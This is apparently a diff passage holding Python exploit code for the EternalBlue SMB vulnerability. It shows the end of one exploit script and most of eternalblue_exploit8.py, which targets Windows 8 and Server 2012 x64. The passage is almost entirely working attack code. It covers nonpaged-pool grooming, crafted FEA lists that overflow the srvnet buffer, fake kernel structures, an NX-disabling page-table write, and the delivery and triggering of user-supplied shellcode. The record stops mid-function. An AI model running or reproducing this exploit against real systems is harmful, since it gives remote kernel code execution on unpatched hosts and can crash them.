for sk in srvnetConn:
|
||||||
|
sk.send(fake_recv_struct + shellcode)
|
||||||
|
|
||||||
|
# execute shellcode by closing srvnet connection
|
||||||
|
for sk in srvnetConn:
|
||||||
|
sk.close()
|
||||||
|
|
||||||
|
# nicely close connection (no need for exploit)
|
||||||
|
conn.disconnect_tree(tid)
|
||||||
|
conn.logoff()
|
||||||
|
conn.get_socket().close()
|
||||||
|
|
||||||
|
|
||||||
|
if len(sys.argv) < 3:
|
||||||
|
print("{} <ip> <shellcode_file> [numGroomConn]".format(sys.argv[0]))
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
TARGET=sys.argv[1]
|
||||||
|
numGroomConn = 13 if len(sys.argv) < 4 else int(sys.argv[3])
|
||||||
|
|
||||||
|
fp = open(sys.argv[2], 'rb')
|
||||||
|
sc = fp.read()
|
||||||
|
fp.close()
|
||||||
|
|
||||||
|
print('shellcode size: {:d}'.format(len(sc)))
|
||||||
|
print('numGroomConn: {:d}'.format(numGroomConn))
|
||||||
|
|
||||||
|
exploit(TARGET, sc, numGroomConn)
|
||||||
|
print('done')
|
||||||
563
eternalblue_exploit8.py
Normal file
563
eternalblue_exploit8.py
Normal file
@@ -0,0 +1,563 @@
|
|||||||
|
#!/usr/bin/python
|
||||||
|
from impacket import smb, ntlm
|
||||||
|
from struct import pack
|
||||||
|
import sys
|
||||||
|
import socket
|
||||||
|
|
||||||
|
'''
|
||||||
|
EternalBlue exploit for Windows 8 and 2012 by sleepya
|
||||||
|
The exploit might FAIL and CRASH a target system (depended on what is overwritten)
|
||||||
|
The exploit support only x64 target
|
||||||
|
|
||||||
|
Tested on:
|
||||||
|
- Windows 2012 R2 x64
|
||||||
|
- Windows 8.1 x64
|
||||||
|
|
||||||
|
|
||||||
|
Default Windows 8 and later installation without additional service info:
|
||||||
|
- anonymous is not allowed to access any share (including IPC$)
|
||||||
|
- More info: https://support.microsoft.com/en-us/help/3034016/ipc-share-and-null-session-behavior-in-windows
|
||||||
|
- tcp port 445 is filtered by firewall
|
||||||
|
|
||||||
|
|
||||||
|
Reference:
|
||||||
|
- http://blogs.360.cn/360safe/2017/04/17/nsa-eternalblue-smb/
|
||||||
|
- "Bypassing Windows 10 kernel ASLR (remote) by Stefan Le Berre" https://drive.google.com/file/d/0B3P18M-shbwrNWZTa181ZWRCclk/edit
|
||||||
|
|
||||||
|
|
||||||
|
Exploit info:
|
||||||
|
- If you do not know how exploit for Windows 7/2008 work. Please read my exploit for Windows 7/2008 at
|
||||||
|
https://gist.github.com/worawit/bd04bad3cd231474763b873df081c09a because the trick for exploit is almost the same
|
||||||
|
- The exploit use heap of HAL for placing fake struct (address 0xffffffffffd00e00) and shellcode (address 0xffffffffffd01000).
|
||||||
|
On Windows 8 and Wndows 2012, the NX bit is set on this memory page. Need to disable it before controlling RIP.
|
||||||
|
- The exploit is likely to crash a target when it failed
|
||||||
|
- The overflow is happened on nonpaged pool so we need to massage target nonpaged pool.
|
||||||
|
- If exploit failed but target does not crash, try increasing 'numGroomConn' value (at least 5)
|
||||||
|
- See the code and comment for exploit detail.
|
||||||
|
|
||||||
|
|
||||||
|
Disable NX method:
|
||||||
|
- The idea is from "Bypassing Windows 10 kernel ASLR (remote) by Stefan Le Berre" (see link in reference)
|
||||||
|
- The exploit is also the same but we need to trigger bug twice
|
||||||
|
- First trigger, set MDL.MappedSystemVa to target pte address
|
||||||
|
- Write '\x00' to disable the NX flag
|
||||||
|
- Second trigger, do the same as Windows 7 exploit
|
||||||
|
- From my test, if exploit disable NX successfully, I always get code execution
|
||||||
|
'''
|
||||||
|
|
||||||
|
# if anonymous can access any share folder, 'IPC$' is always accessible.
|
||||||
|
# authenticated user is always able to access 'IPC$'.
|
||||||
|
# Windows 2012 does not allow anonymous to login if no share is accessible.
|
||||||
|
USERNAME=''
|
||||||
|
PASSWORD=''
|
||||||
|
|
||||||
|
# because the srvnet buffer is changed dramatically from Windows 7, I have to choose NTFEA size to 0x9000
|
||||||
|
NTFEA_SIZE = 0x9000
|
||||||
|
|
||||||
|
ntfea9000 = (pack('<BBH', 0, 0, 0) + '\x00')*0x260 # with these fea, ntfea size is 0x1c80
|
||||||
|
ntfea9000 += pack('<BBH', 0, 0, 0x735c) + '\x00'*0x735d # 0x8fe8 - 0x1c80 - 0xc = 0x735c
|
||||||
|
ntfea9000 += pack('<BBH', 0, 0, 0x8147) + '\x00'*0x8148 # overflow to SRVNET_BUFFER_HDR
|
||||||
|
|
||||||
|
'''
|
||||||
|
Reverse from srvnet.sys (Win2012 R2 x64)
|
||||||
|
- SrvNetAllocateBufferFromPool() and SrvNetWskTransformedReceiveComplete():
|
||||||
|
|
||||||
|
// size 0x90
|
||||||
|
struct SRVNET_BUFFER_HDR {
|
||||||
|
LIST_ENTRY list;
|
||||||
|
USHORT flag; // 2 least significant bit MUST be clear. if 0x1 is set, pmdl pointers are access. if 0x2 is set, go to lookaside.
|
||||||
|
char unknown0[6];
|
||||||
|
char *pNetRawBuffer; // MUST point to valid address (check if this request is "\xfdSMB")
|
||||||
|
DWORD netRawBufferSize; // offset: 0x20
|
||||||
|
DWORD ioStatusInfo;
|
||||||
|
DWORD thisNonPagedPoolSize; // will be 0x82e8 for netRawBufferSize 0x8100
|
||||||
|
DWORD pad2;
|
||||||
|
char *thisNonPagedPoolAddr; // 0x30 points to SRVNET_BUFFER
|
||||||
|
PMDL pmdl1; // point at offset 0x90 from this struct
|
||||||
|
DWORD nByteProcessed; // 0x40
|
||||||
|
char unknown4[4];
|
||||||
|
QWORD smbMsgSize; // MUST be modified to size of all recv data
|
||||||
|
PMDL pmdl2; // 0x50: if want to free corrupted buffer, need to set to valid address
|
||||||
|
QWORD pSrvNetWskStruct; // want to change to fake struct address
|
||||||
|
DWORD unknown6; // 0x60
|
||||||
|
char unknown7[12];
|
||||||
|
char unknown8[0x20];
|
||||||
|
};
|
||||||
|
|
||||||
|
struct SRVNET_BUFFER {
|
||||||
|
char transportHeader[80]; // 0x50
|
||||||
|
char buffer[reqSize+padding]; // 0x8100 (for pool size 0x82f0), 0x10100 (for pool size 0x11000)
|
||||||
|
SRVNET_BUFFER_HDR hdr; //some header size 0x90
|
||||||
|
//MDL mdl1; // target
|
||||||
|
};
|
||||||
|
|
||||||
|
In Windows 8, the srvnet buffer metadata is declared after real buffer. We need to overflow through whole receive buffer.
|
||||||
|
Because transaction max data count is 66512 (0x103d0) in SMB_COM_NT_TRANSACT command and
|
||||||
|
DataDisplacement is USHORT in SMB_COM_TRANSACTION2_SECONDARY command, we cannot send large trailing data after FEALIST.
|
||||||
|
So the possible srvnet buffer pool size is 0x82f0. With this pool size, we need to overflow more than 0x8150 bytes.
|
||||||
|
If exploit cannot overflow to prepared SRVNET_BUFFER, the target is likely to crash because of big overflow.
|
||||||
|
'''
|
||||||
|
# Most field in overwritten (corrupted) srvnet struct can be any value because it will be left without free (memory leak) after processing
|
||||||
|
# Here is the important fields on x64
|
||||||
|
# - offset 0x18 (VOID*) : pointer to received SMB message buffer. This value MUST be valid address because there is
|
||||||
|
# a check in SrvNetWskTransformedReceiveComplete() if this message starts with "\xfdSMB".
|
||||||
|
# - offset 0x48 (QWORD) : the SMB message length from packet header (first 4 bytes).
|
||||||
|
# This value MUST be exactly same as the number of bytes we send.
|
||||||
|
# Normally, this value is 0x80 + len(fake_struct) + len(shellcode)
|
||||||
|
# - offset 0x58 (VOID*) : pointer to a struct contained pointer to function. the pointer to function is called when done receiving SMB request.
|
||||||
|
# The value MUST point to valid (might be fake) struct.
|
||||||
|
# - offset 0x90 (MDL) : MDL for describe receiving SMB request buffer
|
||||||
|
# - 0x90 (VOID*) : MDL.Next should be NULL
|
||||||
|
# - 0x98 (USHORT) : MDL.Size should be some value that not too small
|
||||||
|
# - 0x9a (USHORT) : MDL.MdlFlags should be 0x1004 (MDL_NETWORK_HEADER|MDL_SOURCE_IS_NONPAGED_POOL)
|
||||||
|
# - 0x90 (VOID*) : MDL.Process should be NULL
|
||||||
|
# - 0x98 (VOID*) : MDL.MappedSystemVa MUST be a received network buffer address. Controlling this value get arbitrary write.
|
||||||
|
# The address for arbitrary write MUST be subtracted by a number of sent bytes (0x80 in this exploit).
|
||||||
|
#
|
||||||
|
#
|
||||||
|
# To free the corrupted srvnet buffer (not necessary), shellcode MUST modify some memory value to satisfy condition.
|
||||||
|
# Here is related field for freeing corrupted buffer
|
||||||
|
# - offset 0x10 (USHORT): 2 least significant bit MUST be clear. Just set to 0xfff0
|
||||||
|
# - offset 0x30 (VOID*) : MUST be fixed to correct value in shellcode. This is the value that passed to ExFreePoolWithTag()
|
||||||
|
# - offset 0x40 (DWORD) : be a number of total byte received. This field MUST be set by shellcode because SrvNetWskReceiveComplete() set it to 0
|
||||||
|
# before calling SrvNetCommonReceiveHandler(). This is possible because pointer to SRVNET_BUFFER struct is passed to
|
||||||
|
# your shellcode as function argument
|
||||||
|
# - offset 0x50 (PMDL) : points to any fake MDL with MDL.Flags 0x20 does not set
|
||||||
|
# The last condition is your shellcode MUST return non-negative value. The easiest way to do is "xor eax,eax" before "ret".
|
||||||
|
# Here is x64 assembly code for setting nByteProcessed field
|
||||||
|
# - fetch SRVNET_BUFFER address from function argument
|
||||||
|
# \x48\x8b\x54\x24\x40 mov rdx, [rsp+0x40]
|
||||||
|
# - fix pool pointer (rcx is -0x8150 because of fake_recv_struct below)
|
||||||
|
# \x48\x01\xd1 add rcx, rdx
|
||||||
|
# \x48\x89\x4a\x30 mov [rdx+0x30], rcx
|
||||||
|
# - set nByteProcessed for trigger free after return
|
||||||
|
# \x8b\x4a\x48 mov ecx, [rdx+0x48]
|
||||||
|
# \x89\x4a\x40 mov [rdx+0x40], ecx
|
||||||
|
|
||||||
|
# debug mode affects HAL heap. The 0xffffffffffd04000 address should be useable no matter what debug mode is.
|
||||||
|
# The 0xffffffffffd00000 address should be useable when debug mode is not enabled
|
||||||
|
# The 0xffffffffffd01000 address should be useable when debug mode is enabled
|
||||||
|
TARGET_HAL_HEAP_ADDR = 0xffffffffffd04000 # for put fake struct and shellcode
|
||||||
|
|
||||||
|
# Note: feaList will be created after knowing shellcode size.
|
||||||
|
|
||||||
|
# feaList for disabling NX is possible because we just want to change only MDL.MappedSystemVa
|
||||||
|
# PTE of 0xffffffffffd00000 is at 0xfffff6ffffffe800
|
||||||
|
# NX bit is at PTE_ADDR+7
|
||||||
|
# MappedSystemVa = PTE_ADDR+7 - 0x7f
|
||||||
|
SHELLCODE_PAGE_ADDR = (TARGET_HAL_HEAP_ADDR + 0x400) & 0xfffffffffffff000
|
||||||
|
PTE_ADDR = 0xfffff6ffffffe800 + 8*((SHELLCODE_PAGE_ADDR-0xffffffffffd00000) >> 12)
|
||||||
|
fakeSrvNetBufferX64Nx = '\x00'*16
|
||||||
|
fakeSrvNetBufferX64Nx += pack('<HHIQ', 0xfff0, 0, 0, TARGET_HAL_HEAP_ADDR)
|
||||||
|
fakeSrvNetBufferX64Nx += '\x00'*16
|
||||||
|
fakeSrvNetBufferX64Nx += '\x00'*16
|
||||||
|
fakeSrvNetBufferX64Nx += pack('<QQ', 0, 0)
|
||||||
|
fakeSrvNetBufferX64Nx += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR) # _, _, pointer to fake struct
|
||||||
|
fakeSrvNetBufferX64Nx += pack('<QQ', 0, 0)
|
||||||
|
fakeSrvNetBufferX64Nx += '\x00'*16
|
||||||
|
fakeSrvNetBufferX64Nx += '\x00'*16
|
||||||
|
fakeSrvNetBufferX64Nx += pack('<QHHI', 0, 0x60, 0x1004, 0) # MDL.Next, MDL.Size, MDL.MdlFlags
|
||||||
|
fakeSrvNetBufferX64Nx += pack('<QQ', 0, PTE_ADDR+7-0x7f) # MDL.Process, MDL.MappedSystemVa
|
||||||
|
|
||||||
|
feaListNx = pack('<I', 0x10000)
|
||||||
|
feaListNx += ntfea9000
|
||||||
|
feaListNx += pack('<BBH', 0, 0, len(fakeSrvNetBufferX64Nx)-1) + fakeSrvNetBufferX64Nx # -1 because first '\x00' is for name
|
||||||
|
# stop copying by invalid flag (can be any value except 0 and 0x80)
|
||||||
|
feaListNx += pack('<BBH', 0x12, 0x34, 0x5678)
|
||||||
|
|
||||||
|
|
||||||
|
def createFakeSrvNetBuffer(sc_size):
|
||||||
|
# 0x180 is size of fakeSrvNetBufferX64
|
||||||
|
totalRecvSize = 0x80 + 0x180 + sc_size
|
||||||
|
fakeSrvNetBufferX64 = '\x00'*16
|
||||||
|
fakeSrvNetBufferX64 += pack('<HHIQ', 0xfff0, 0, 0, TARGET_HAL_HEAP_ADDR) # flag, _, _, pNetRawBuffer
|
||||||
|
fakeSrvNetBufferX64 += pack('<QII', 0, 0x82e8, 0) # _, thisNonPagedPoolSize, _
|
||||||
|
fakeSrvNetBufferX64 += '\x00'*16
|
||||||
|
fakeSrvNetBufferX64 += pack('<QQ', 0, totalRecvSize) # offset 0x40
|
||||||
|
fakeSrvNetBufferX64 += pack('<QQ', TARGET_HAL_HEAP_ADDR, TARGET_HAL_HEAP_ADDR) # pmdl2, pointer to fake struct
|
||||||
|
fakeSrvNetBufferX64 += pack('<QQ', 0, 0)
|
||||||
|
fakeSrvNetBufferX64 += '\x00'*16
|
||||||
|
fakeSrvNetBufferX64 += '\x00'*16
|
||||||
|
fakeSrvNetBufferX64 += pack('<QHHI', 0, 0x60, 0x1004, 0) # MDL.Next, MDL.Size, MDL.MdlFlags
|
||||||
|
fakeSrvNetBufferX64 += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR-0x80) # MDL.Process, MDL.MappedSystemVa
|
||||||
|
return fakeSrvNetBufferX64
|
||||||
|
|
||||||
|
def createFeaList(sc_size):
|
||||||
|
feaList = pack('<I', 0x10000)
|
||||||
|
feaList += ntfea9000
|
||||||
|
fakeSrvNetBuf = createFakeSrvNetBuffer(sc_size)
|
||||||
|
feaList += pack('<BBH', 0, 0, len(fakeSrvNetBuf)-1) + fakeSrvNetBuf # -1 because first '\x00' is for name
|
||||||
|
# stop copying by invalid flag (can be any value except 0 and 0x80)
|
||||||
|
feaList += pack('<BBH', 0x12, 0x34, 0x5678)
|
||||||
|
return feaList
|
||||||
|
|
||||||
|
# fake struct for SrvNetWskTransformedReceiveComplete() and SrvNetCommonReceiveHandler()
|
||||||
|
# x64: fake struct is at ffffffff ffd00e00
|
||||||
|
# offset 0x50: KSPIN_LOCK
|
||||||
|
# offset 0x58: LIST_ENTRY must be valid address. cannot be NULL.
|
||||||
|
# offset 0x110: array of pointer to function
|
||||||
|
# offset 0x13c: set to 3 (DWORD) for invoking ptr to function
|
||||||
|
# some useful offset
|
||||||
|
# offset 0x120: arg1 when invoking ptr to function
|
||||||
|
# offset 0x128: arg2 when invoking ptr to function
|
||||||
|
#
|
||||||
|
# code path to get code exection after this struct is controlled
|
||||||
|
# SrvNetWskTransformedReceiveComplete() -> SrvNetCommonReceiveHandler() -> call fn_ptr
|
||||||
|
fake_recv_struct = ('\x00'*16)*5
|
||||||
|
fake_recv_struct += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR+0x58) # offset 0x50: KSPIN_LOCK, (LIST_ENTRY to itself)
|
||||||
|
fake_recv_struct += pack('<QQ', TARGET_HAL_HEAP_ADDR+0x58, 0) # offset 0x60
|
||||||
|
fake_recv_struct += ('\x00'*16)*10
|
||||||
|
fake_recv_struct += pack('<QQ', TARGET_HAL_HEAP_ADDR+0x170, 0) # offset 0x110: fn_ptr array
|
||||||
|
fake_recv_struct += pack('<QQ', (0x8150^0xffffffffffffffff)+1, 0) # set arg1 to -0x8150
|
||||||
|
fake_recv_struct += pack('<QII', 0, 0, 3) # offset 0x130
|
||||||
|
fake_recv_struct += ('\x00'*16)*3
|
||||||
|
fake_recv_struct += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR+0x180) # shellcode address
|
||||||
|
|
||||||
|
|
||||||
|
def getNTStatus(self):
|
||||||
|
return (self['ErrorCode'] << 16) | (self['_reserved'] << 8) | self['ErrorClass']
|
||||||
|
setattr(smb.NewSMBPacket, "getNTStatus", getNTStatus)
|
||||||
|
|
||||||
|
def sendEcho(conn, tid, data):
|
||||||
|
pkt = smb.NewSMBPacket()
|
||||||
|
pkt['Tid'] = tid
|
||||||
|
|
||||||
|
transCommand = smb.SMBCommand(smb.SMB.SMB_COM_ECHO)
|
||||||
|
transCommand['Parameters'] = smb.SMBEcho_Parameters()
|
||||||
|
transCommand['Data'] = smb.SMBEcho_Data()
|
||||||
|
|
||||||
|
transCommand['Parameters']['EchoCount'] = 1
|
||||||
|
transCommand['Data']['Data'] = data
|
||||||
|
pkt.addCommand(transCommand)
|
||||||
|
|
||||||
|
conn.sendSMB(pkt)
|
||||||
|
recvPkt = conn.recvSMB()
|
||||||
|
if recvPkt.getNTStatus() == 0:
|
||||||
|
print('got good ECHO response')
|
||||||
|
else:
|
||||||
|
print('got bad ECHO response: 0x{:x}'.format(recvPkt.getNTStatus()))
|
||||||
|
|
||||||
|
|
||||||
|
# override SMB.neg_session() to allow forcing ntlm authentication
|
||||||
|
class MYSMB(smb.SMB):
|
||||||
|
def __init__(self, remote_host, use_ntlmv2=True):
|
||||||
|
self.__use_ntlmv2 = use_ntlmv2
|
||||||
|
smb.SMB.__init__(self, remote_host, remote_host)
|
||||||
|
|
||||||
|
def neg_session(self, extended_security = True, negPacket = None):
|
||||||
|
smb.SMB.neg_session(self, extended_security=self.__use_ntlmv2, negPacket=negPacket)
|
||||||
|
|
||||||
|
def createSessionAllocNonPaged(target, size):
|
||||||
|
conn = MYSMB(target, use_ntlmv2=False) # with this negotiation, FLAGS2_EXTENDED_SECURITY is not set
|
||||||
|
_, flags2 = conn.get_flags()
|
||||||
|
# if not use unicode, buffer size on target machine is doubled because converting ascii to utf16
|
||||||
|
if size >= 0xffff:
|
||||||
|
flags2 &= ~smb.SMB.FLAGS2_UNICODE
|
||||||
|
reqSize = size // 2
|
||||||
|
else:
|
||||||
|
flags2 |= smb.SMB.FLAGS2_UNICODE
|
||||||
|
reqSize = size
|
||||||
|
conn.set_flags(flags2=flags2)
|
||||||
|
|
||||||
|
pkt = smb.NewSMBPacket()
|
||||||
|
|
||||||
|
sessionSetup = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX)
|
||||||
|
sessionSetup['Parameters'] = smb.SMBSessionSetupAndX_Extended_Parameters()
|
||||||
|
|
||||||
|
sessionSetup['Parameters']['MaxBufferSize'] = 61440 # can be any value greater than response size
|
||||||
|
sessionSetup['Parameters']['MaxMpxCount'] = 2 # can by any value
|
||||||
|
sessionSetup['Parameters']['VcNumber'] = 2 # any non-zero
|
||||||
|
sessionSetup['Parameters']['SessionKey'] = 0
|
||||||
|
sessionSetup['Parameters']['SecurityBlobLength'] = 0 # this is OEMPasswordLen field in another format. 0 for NULL session
|
||||||
|
sessionSetup['Parameters']['Capabilities'] = smb.SMB.CAP_EXTENDED_SECURITY | smb.SMB.CAP_USE_NT_ERRORS
|
||||||
|
|
||||||
|
sessionSetup['Data'] = pack('<H', reqSize) + '\x00'*20
|
||||||
|
pkt.addCommand(sessionSetup)
|
||||||
|
|
||||||
|
conn.sendSMB(pkt)
|
||||||
|
recvPkt = conn.recvSMB()
|
||||||
|
if recvPkt.getNTStatus() == 0:
|
||||||
|
print('SMB1 session setup allocate nonpaged pool success')
|
||||||
|
return conn
|
||||||
|
|
||||||
|
if USERNAME:
|
||||||
|
# Try login with valid user because anonymous user might get access denied on Windows Server 2012.
|
||||||
|
# Note: If target allows only NTLMv2 authentication, the login will always fail.
|
||||||
|
# support only ascii because I am lazy to implement Unicode (need pad for alignment and converting username to utf-16)
|
||||||
|
flags2 &= ~smb.SMB.FLAGS2_UNICODE
|
||||||
|
reqSize = size // 2
|
||||||
|
conn.set_flags(flags2=flags2)
|
||||||
|
|
||||||
|
# new SMB packet to reset flags
|
||||||
|
pkt = smb.NewSMBPacket()
|
||||||
|
pwd_unicode = conn.get_ntlmv1_response(ntlm.compute_nthash(PASSWORD))
|
||||||
|
# UnicodePasswordLen field is in Reserved for extended security format.
|
||||||
|
sessionSetup['Parameters']['Reserved'] = len(pwd_unicode)
|
||||||
|
sessionSetup['Data'] = pack('<H', reqSize+len(pwd_unicode)+len(USERNAME)) + pwd_unicode + USERNAME + '\x00'*16
|
||||||
|
pkt.addCommand(sessionSetup)
|
||||||
|
|
||||||
|
conn.sendSMB(pkt)
|
||||||
|
recvPkt = conn.recvSMB()
|
||||||
|
if recvPkt.getNTStatus() == 0:
|
||||||
|
print('SMB1 session setup allocate nonpaged pool success')
|
||||||
|
return conn
|
||||||
|
|
||||||
|
# lazy to check error code, just print fail message
|
||||||
|
print('SMB1 session setup allocate nonpaged pool failed')
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
|
||||||
|
# Note: impacket-0.9.15 struct has no ParameterDisplacement
|
||||||
|
############# SMB_COM_TRANSACTION2_SECONDARY (0x33)
|
||||||
|
class SMBTransaction2Secondary_Parameters_Fixed(smb.SMBCommand_Parameters):
|
||||||
|
structure = (
|
||||||
|
('TotalParameterCount','<H=0'),
|
||||||
|
('TotalDataCount','<H'),
|
||||||
|
('ParameterCount','<H=0'),
|
||||||
|
('ParameterOffset','<H=0'),
|
||||||
|
('ParameterDisplacement','<H=0'),
|
||||||
|
('DataCount','<H'),
|
||||||
|
('DataOffset','<H'),
|
||||||
|
('DataDisplacement','<H=0'),
|
||||||
|
('FID','<H=0'),
|
||||||
|
)
|
||||||
|
|
||||||
|
def send_trans2_second(conn, tid, data, displacement):
|
||||||
|
pkt = smb.NewSMBPacket()
|
||||||
|
pkt['Tid'] = tid
|
||||||
|
|
||||||
|
# assume no params
|
||||||
|
|
||||||
|
transCommand = smb.SMBCommand(smb.SMB.SMB_COM_TRANSACTION2_SECONDARY)
|
||||||
|
transCommand['Parameters'] = SMBTransaction2Secondary_Parameters_Fixed()
|
||||||
|
transCommand['Data'] = smb.SMBTransaction2Secondary_Data()
|
||||||
|
|
||||||
|
transCommand['Parameters']['TotalParameterCount'] = 0
|
||||||
|
transCommand['Parameters']['TotalDataCount'] = len(data)
|
||||||
|
|
||||||
|
fixedOffset = 32+3+18
|
||||||
|
transCommand['Data']['Pad1'] = ''
|
||||||
|
|
||||||
|
transCommand['Parameters']['ParameterCount'] = 0
|
||||||
|
transCommand['Parameters']['ParameterOffset'] = 0
|
||||||
|
|
||||||
|
if len(data) > 0:
|
||||||
|
pad2Len = (4 - fixedOffset % 4) % 4
|
||||||
|
transCommand['Data']['Pad2'] = '\xFF' * pad2Len
|
||||||
|
else:
|
||||||
|
transCommand['Data']['Pad2'] = ''
|
||||||
|
pad2Len = 0
|
||||||
|
|
||||||
|
transCommand['Parameters']['DataCount'] = len(data)
|
||||||
|
transCommand['Parameters']['DataOffset'] = fixedOffset + pad2Len
|
||||||
|
transCommand['Parameters']['DataDisplacement'] = displacement
|
||||||
|
|
||||||
|
transCommand['Data']['Trans_Parameters'] = ''
|
||||||
|
transCommand['Data']['Trans_Data'] = data
|
||||||
|
pkt.addCommand(transCommand)
|
||||||
|
|
||||||
|
conn.sendSMB(pkt)
|
||||||
|
|
||||||
|
|
||||||
|
def send_big_trans2(conn, tid, setup, data, param, firstDataFragmentSize, sendLastChunk=True):
|
||||||
|
pkt = smb.NewSMBPacket()
|
||||||
|
pkt['Tid'] = tid
|
||||||
|
|
||||||
|
command = pack('<H', setup)
|
||||||
|
|
||||||
|
# Use SMB_COM_NT_TRANSACT because we need to send data >65535 bytes to trigger the bug.
|
||||||
|
transCommand = smb.SMBCommand(smb.SMB.SMB_COM_NT_TRANSACT)
|
||||||
|
transCommand['Parameters'] = smb.SMBNTTransaction_Parameters()
|
||||||
|
transCommand['Parameters']['MaxSetupCount'] = 1
|
||||||
|
transCommand['Parameters']['MaxParameterCount'] = len(param)
|
||||||
|
transCommand['Parameters']['MaxDataCount'] = 0
|
||||||
|
transCommand['Data'] = smb.SMBTransaction2_Data()
|
||||||
|
|
||||||
|
transCommand['Parameters']['Setup'] = command
|
||||||
|
transCommand['Parameters']['TotalParameterCount'] = len(param)
|
||||||
|
transCommand['Parameters']['TotalDataCount'] = len(data)
|
||||||
|
|
||||||
|
fixedOffset = 32+3+38 + len(command)
|
||||||
|
if len(param) > 0:
|
||||||
|
padLen = (4 - fixedOffset % 4 ) % 4
|
||||||
|
padBytes = '\xFF' * padLen
|
||||||
|
transCommand['Data']['Pad1'] = padBytes
|
||||||
|
else:
|
||||||
|
transCommand['Data']['Pad1'] = ''
|
||||||
|
padLen = 0
|
||||||
|
|
||||||
|
transCommand['Parameters']['ParameterCount'] = len(param)
|
||||||
|
transCommand['Parameters']['ParameterOffset'] = fixedOffset + padLen
|
||||||
|
|
||||||
|
if len(data) > 0:
|
||||||
|
pad2Len = (4 - (fixedOffset + padLen + len(param)) % 4) % 4
|
||||||
|
transCommand['Data']['Pad2'] = '\xFF' * pad2Len
|
||||||
|
else:
|
||||||
|
transCommand['Data']['Pad2'] = ''
|
||||||
|
pad2Len = 0
|
||||||
|
|
||||||
|
transCommand['Parameters']['DataCount'] = firstDataFragmentSize
|
||||||
|
transCommand['Parameters']['DataOffset'] = transCommand['Parameters']['ParameterOffset'] + len(param) + pad2Len
|
||||||
|
|
||||||
|
transCommand['Data']['Trans_Parameters'] = param
|
||||||
|
transCommand['Data']['Trans_Data'] = data[:firstDataFragmentSize]
|
||||||
|
pkt.addCommand(transCommand)
|
||||||
|
|
||||||
|
conn.sendSMB(pkt)
|
||||||
|
recvPkt = conn.recvSMB() # must be success
|
||||||
|
if recvPkt.getNTStatus() == 0:
|
||||||
|
print('got good NT Trans response')
|
||||||
|
else:
|
||||||
|
print('got bad NT Trans response: 0x{:x}'.format(recvPkt.getNTStatus()))
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
# Then, use SMB_COM_TRANSACTION2_SECONDARY for send more data
|
||||||
|
i = firstDataFragmentSize
|
||||||
|
while i < len(data):
|
||||||
|
sendSize = min(4096, len(data) - i)
|
||||||
|
if len(data) - i <= 4096:
|
||||||
|
if not sendLastChunk:
|
||||||
|
break
|
||||||
|
send_trans2_second(conn, tid, data[i:i+sendSize], i)
|
||||||
|
i += sendSize
|
||||||
|
|
||||||
|
if sendLastChunk:
|
||||||
|
conn.recvSMB()
|
||||||
|
return i
|
||||||
|
|
||||||
|
|
||||||
|
# connect to target and send a large nbss size with data 0x80 bytes
|
||||||
|
# this method is for allocating big nonpaged pool on target
|
||||||
|
def createConnectionWithBigSMBFirst80(target, for_nx=False):
|
||||||
|
sk = socket.create_connection((target, 445))
|
||||||
|
pkt = '\x00' + '\x00' + pack('>H', 0x8100)
|
||||||
|
# There is no need to be SMB2 because we want the target free the corrupted buffer.
|
||||||
|
# Also this is invalid SMB2 message.
|
||||||
|
# I believe NSA exploit use SMB2 for hiding alert from IDS
|
||||||
|
#pkt += '\xfeSMB' # smb2
|
||||||
|
# it can be anything even it is invalid
|
||||||
|
pkt += 'BAAD' # can be any
|
||||||
|
if for_nx:
|
||||||
|
# MUST set no delay because 1 byte MUST be sent immediately
|
||||||
|
sk.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
|
||||||
|
pkt += '\x00'*0x7b # another byte will be sent later to disabling NX
|
||||||
|
else:
|
||||||
|
pkt += '\x00'*0x7c
|
||||||
|
sk.send(pkt)
|
||||||
|
return sk
|
||||||
|
|
||||||
|
|
||||||
|
def exploit(target, shellcode, numGroomConn):
|
||||||
|
# force using smb.SMB for SMB1
|
||||||
|
conn = smb.SMB(target, target)
|
||||||
|
conn.login(USERNAME, PASSWORD)
|
||||||
|
server_os = conn.get_server_os()
|
||||||
|
print('Target OS: '+server_os)
|
||||||
|
if not (server_os.startswith("Windows 8") or server_os.startswith("Windows Server 2012 ")):
|
||||||
|
print('This exploit does not support this target')
|
||||||
|
sys.exit()
|
||||||
|
|
||||||
|
tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$')
|
||||||
|
|
||||||
|
# The minimum requirement to trigger bug in SrvOs2FeaListSizeToNt() is SrvSmbOpen2() which is TRANS2_OPEN2 subcommand.
|
||||||
|
# Send TRANS2_OPEN2 (0) with special feaList to a target except last fragment
|
||||||
|
progress = send_big_trans2(conn, tid, 0, feaList, '\x00'*30, len(feaList)%4096, False)
|
||||||
|
|
||||||
|
# Another TRANS2_OPEN2 (0) with special feaList for disabling NX
|
||||||
|
nxconn = smb.SMB(target, target)
|
||||||
|
nxconn.login(USERNAME, PASSWORD)
|
||||||
|
nxtid = nxconn.tree_connect_andx('\\\\'+target+'\\'+'IPC$')
|
||||||
|
nxprogress = send_big_trans2(nxconn, nxtid, 0, feaListNx, '\x00'*30, len(feaList)%4096, False)
|
||||||
|
|
||||||
|
# create some big buffer at server
|
||||||
|
# this buffer MUST NOT be big enough for overflown buffer
|
||||||
|
allocConn = createSessionAllocNonPaged(target, NTFEA_SIZE - 0x2010)
|
||||||
|
|
||||||
|
# groom nonpaged pool
|
||||||
|
# when many big nonpaged pool are allocated, allocate another big nonpaged pool should be next to the last one
|
||||||
|
srvnetConn = []
|
||||||
|
for i in range(numGroomConn):
|
||||||
|
sk = createConnectionWithBigSMBFirst80(target, for_nx=True)
|
||||||
|
srvnetConn.append(sk)
|
||||||
|
|
||||||
|
# create buffer size NTFEA_SIZE at server
|
||||||
|
# this buffer will be replaced by overflown buffer
|
||||||
|
holeConn = createSessionAllocNonPaged(target, NTFEA_SIZE-0x10)
|
||||||
|
# disconnect allocConn to free buffer
|
||||||
|
# expect small nonpaged pool allocation is not allocated next to holeConn because of this free buffer
|
||||||
|
allocConn.get_socket().close()
|
||||||
|
|
||||||
|
# hope one of srvnetConn is next to holeConn
|
||||||
|
for i in range(5):
